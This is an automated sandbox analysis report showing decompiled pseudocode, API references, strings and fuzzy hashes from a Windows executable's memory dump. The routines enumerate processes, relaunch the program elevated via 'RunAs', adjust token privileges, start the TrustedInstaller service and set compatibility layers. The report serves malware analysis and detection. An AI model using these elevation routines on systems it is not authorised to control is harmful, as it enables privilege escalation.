							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

0x00409609
0x0040960f
0x00409619
0x00409623
0x0040962e
0x00409633
0x00409640
0x0040964a
0x00409782
0x0040965a
0x0040965f
0x00409678
0x0040967e
0x00409681
0x00409685
0x00409688
0x004096b2
0x004096bf
0x004096c6
0x004096cb
0x004096da
0x004096e6
0x0040973b
0x00409747
0x0040975f
0x00409764
0x0040976a
0x00409770
0x00409773
0x0040977d
0x00000000
0x0040977d
0x004096ee
0x004096f5
0x004096fc
0x00409704
0x0040970c
0x0040971c
0x0040971c
0x00409704
0x00409721
0x00409728
0x00409739
0x00409739
0x00000000
0x00409728
0x00409693
0x00000000
0x00000000
0x004096a5
0x004096a9
0x004096ac
0x00000000
0x00000000
0x00000000
0x004096ac
0x004097a6

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

kernel32.dll, xrefs: 004096F7
QueryFullProcessImageNameW, xrefs: 00409706

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				int _t41;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68); // executed
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					_t41 = GetExitCodeProcess(_t43,  &_a4); // executed
					if(_t41 != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

0x00401c31
0x00401c33
0x00401c48
0x00401c4f
0x00401c61
0x00401c68
0x00401c74
0x00401c79
0x00401c7a
0x00401c7b
0x00401c84
0x00401c89
0x00401c8e
0x00401c8f
0x00401c9b
0x00401ca6
0x00401caf
0x00401cb9
0x00401cc0
0x00401cc7
0x00401cce
0x00401cd5
0x00401cdd
0x00401ce0
0x00401d14
0x00401ce2
0x00401ce8
0x00401cf3
0x00401cf6
0x00401cfe
0x00401d09
0x00401d09
0x00401cfe
0x00401d1b

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNELBASE ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

RunAs, xrefs: 00401CC0
@, xrefs: 00401CC7
<, xrefs: 00401CB9
/SpecialRun %I64x %d, xrefs: 00401C84

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408fc9
0x00408fd0
0x00408fe8
0x00000000
0x00408fea
0x00408ff4
0x00409001
0x00409003
0x0040900c
0x0040900e
0x00409010
0x0040901a
0x0040901a
0x00409010
0x0040901f
0x00409026
0x0040902d
0x00409030
0x00409035
0x00409037
0x00409040
0x00409042
0x00409044
0x00409051
0x00409051
0x00409044
0x00409053
0x0040905e
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

LookupPrivilegeValueW, xrefs: 00409005
AdjustTokenPrivileges, xrefs: 00409039

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040a348
0x0040a34e
0x0040a352
0x0040a35f
0x0040a363
0x0040a369
0x0040a371
0x0040a374
0x0040a37c
0x0040a380
0x0040a383
0x0040a386
0x0040a388
0x0040a388
0x0040a38c
0x0040a38f
0x0040a39f
0x0040a3a1
0x0040a3a5
0x0040a3a5
0x0040a3a9
0x0040a3aa
0x0040a3b3
0x0040a3b3
0x0040a37c
0x0040a371
0x0040a3b8
0x0040a3be

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

0x004022d5
0x004022dd
0x004022e7
0x004022ec
0x004022f7
0x004022fa
0x004022fd
0x00402300
0x00402307
0x0040230d
0x0040230e
0x00402318
0x00402321
0x00402324
0x00402327
0x0040232a
0x0040232d
0x00402334
0x00402337
0x0040233e
0x0040234f
0x00402356
0x0040235b
0x0040235e
0x0040236d
0x00402374
0x0040237e
0x00402395
0x004023a0
0x004023a0
0x004023ac
0x004023cf
0x004023d2
0x004023d9
0x004023de
0x004023f6
0x00402403
0x00402414
0x00402419
0x00402403
0x0040241a
0x00402423
0x00402458
0x0040245d
0x00402464
0x00402467
0x00402468
0x00000000
0x00000000
0x00000000
0x00402425
0x00402428
0x0040242b
0x00402433
0x00402434
0x00402473
0x00402473
0x0040247c
0x00402481
0x00402488
0x00402488
0x00402495
0x0040249a
0x004024b7
0x004024be
0x004024cd
0x004024d1
0x004024ed
0x004024f0
0x00402506
0x0040250b
0x00402512
0x00402518
0x00402519
0x0040251e
0x00402524
0x00402527
0x0040252b
0x00402530
0x00402531
0x00402531
0x0040253d
0x0040255a
0x00402561
0x00402570
0x00402574
0x00402590
0x00402593
0x004025a9
0x004025ae
0x004025b5
0x004025bb
0x004025bc
0x004025c1
0x004025c7
0x004025ca
0x004025cd
0x004025ce
0x004025d4
0x004025d4
0x004025da
0x004025e3
0x004025eb
0x00402633
0x004025fb
0x00402608
0x0040260f
0x00402614
0x00402624
0x00402630
0x00402630
0x0040263a
0x0040263b
0x00402646
0x0040264b
0x0040264c
0x0040265a
0x0040265a
0x0040265d
0x00402666
0x00402668
0x00402668
0x00402672
0x00402675
0x0040267e
0x0040267e
0x00402683
0x0040268b
0x0040269e
0x0040269e
0x004026a3
0x004026ac
0x004026b5
0x004026b8
0x00000000
0x00000000
0x004026ba
0x00000000
0x004026ae
0x004026ae
0x004026bf
0x004026c1
0x004026c6
0x004026cc
0x004026d5
0x004026db
0x004026e4
0x004026ea
0x004026f3
0x004026f9
0x00402707
0x00402707
0x0040270d
0x00402710
0x0040276d
0x00402770
0x0040280b
0x0040280e
0x00402813
0x00402810
0x00402810
0x00402810
0x00402819
0x0040281f
0x00402836
0x00402841
0x00402846
0x0040284a
0x00402851
0x00402857
0x00402860
0x00402865
0x00402876
0x00402879
0x00402888
0x00402888
0x00402857
0x00402891
0x0040289c
0x0040289c
0x00402779
0x00402784
0x0040278d
0x004027a4
0x004027b3
0x004027b8
0x004027bb
0x004027bf
0x004027c6
0x004027c6
0x004027d1
0x004027d6
0x004027d9
0x004027db
0x004027e2
0x004027e4
0x004027e4
0x004027e7
0x004027f4
0x004027fc
0x00402801
0x00402801
0x00402803
0x00402803
0x00402806
0x00000000
0x00402806
0x00402715
0x00402729
0x0040272e
0x00402731
0x00402738
0x00402738
0x00402743
0x00402748
0x0040274d
0x00402754
0x00402756
0x00402756
0x00402759
0x00402763
0x00000000
0x00402763
0x004026fb
0x00402700
0x00402702
0x00000000
0x00402702
0x004026ec
0x00000000
0x004026ec
0x004026dd
0x00000000
0x004026dd
0x004026ce
0x00000000
0x004026ce
0x004026ac
0x00402443
0x0040246a
0x00402470
0x00000000
0x00402470

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32 ref: 00402879
SetProcessAffinityMask.KERNEL32 ref: 00402888

Strings

D, xrefs: 00402374
640X480, xrefs: 004026CE
256COLOR, xrefs: 004026AE
__COMPAT_LAYER, xrefs: 00402814
"%s" %s, xrefs: 0040263B
DISABLETHEMES, xrefs: 004026DD
HIGHDPIAWARE, xrefs: 004026FB
RunAsInvoker, xrefs: 00402677
DISABLEDWM, xrefs: 004026EC
16BITCOLOR, xrefs: 004026BA

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
